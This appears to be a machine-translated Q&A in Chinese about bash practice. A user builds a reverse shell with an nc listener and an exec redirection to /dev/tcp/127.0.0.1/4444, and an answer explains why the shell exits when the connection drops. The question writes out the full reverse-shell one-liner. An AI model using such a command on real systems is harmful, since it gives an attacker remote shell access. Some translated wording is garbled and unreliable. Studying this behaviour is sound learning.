使用“exec”重定向所有主文件描述符会导致 shell 在程序存在后退出,具体取决于哪一端关闭连接?

使用“exec”重定向所有主文件描述符会导致 shell 在程序存在后退出,具体取决于哪一端关闭连接?

我一直Bash通过使用各种重定向运算符创建反向 shell 来练习我的技能。

设置nc监听器后:

nc -lvp 4444

我运行以下命令:

0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

我无法解释的是为什么/bin/shshell 在连接断开后退出,但前提是 shell通过按?nc断开连接。^C如果/bin/shshell断开连接,那么在shell^C中输入/bin/sh会导致shell中出现换行符nc吗?

答案1

0<&116-;

除了触发错误之外,不知道这应该实现什么(除非 fd 116 已经打开,在这种情况下它也不会做任何值得注意的事情)。

让读者感到困惑?

exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

即使你通过套接字将当前 shell 的 stdin、stdout 和 stderr 重定向到监听nc,当前终端仍然是控制终端外壳的。

当前终端中的 ^C 会将 a 发送SIGINT到前台作业,该作业(如果不等待另一个命令)就是 shell 本身,即交互的,将捕获SIGINT并在捕获后重新打印其提示。

另一个终端(nc -l ..正在运行的终端,以及 shell 从中获取输入并将其输出打印到的终端)中的 ^C 将终止nc并关闭其所有连接,导致 shell 由于EOF其标准输入而退出。

同样,目前还不清楚额外的费用/bin/sh应该达到什么目的。它将立即退出,因为它从其父级继承了EOFstdin 或SIGPIPE/ EPIPEstdout(与 的连接已断开nc)。

相关内容